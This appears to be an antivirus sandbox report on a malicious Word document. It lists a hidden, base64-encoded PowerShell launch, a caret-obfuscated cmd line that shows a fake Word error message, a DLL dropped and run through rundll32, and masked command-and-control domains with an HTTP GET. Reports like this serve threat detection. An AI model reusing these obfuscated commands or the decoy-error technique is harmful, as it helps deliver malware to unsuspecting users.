Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -ENCOD JAA3AEMAUgBxAHgAPQAgAFsAVAB5AFAAZQBdACgAIgB7ADMAfQB7ADEAfQB7ADIAfQB7ADAAfQB7ADQAfQAiACAALQBGACAAJwBJAHIAZQBDAFQAbwAnACwAJwB5AHMAdABFAE0ALgAnACwAJwBpAE8ALgBEACcA...
Modifies file system
Creates the following files
- %HOMEPATH%\x2_z93q\k2e2aqx\v0_m.dll
Network activity
Connects to
- 'as######iaexistencial.com':443
- 'di####taratuba.com':80
TCP
HTTP GET requests
- http://www.di####taratuba.com/cgi-bin/PX4K/
Other
- 'as######iaexistencial.com':443
UDP
- DNS ASK as######iaexistencial.com
- DNS ASK di####taratuba.com
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD JAA3AEMAUgBxAHgAPQAgAFsAVAB5AFAAZQBdACgAIgB7ADMAfQB7ADEAf...
- '<SYSTEM32>\msg.exe' user /v Word experienced an error trying to open the file.
- '<SYSTEM32>\rundll32.exe' %HOMEPATH%\X2_z93q\K2e2aqx\V0_M.dll,Control_RunDLL
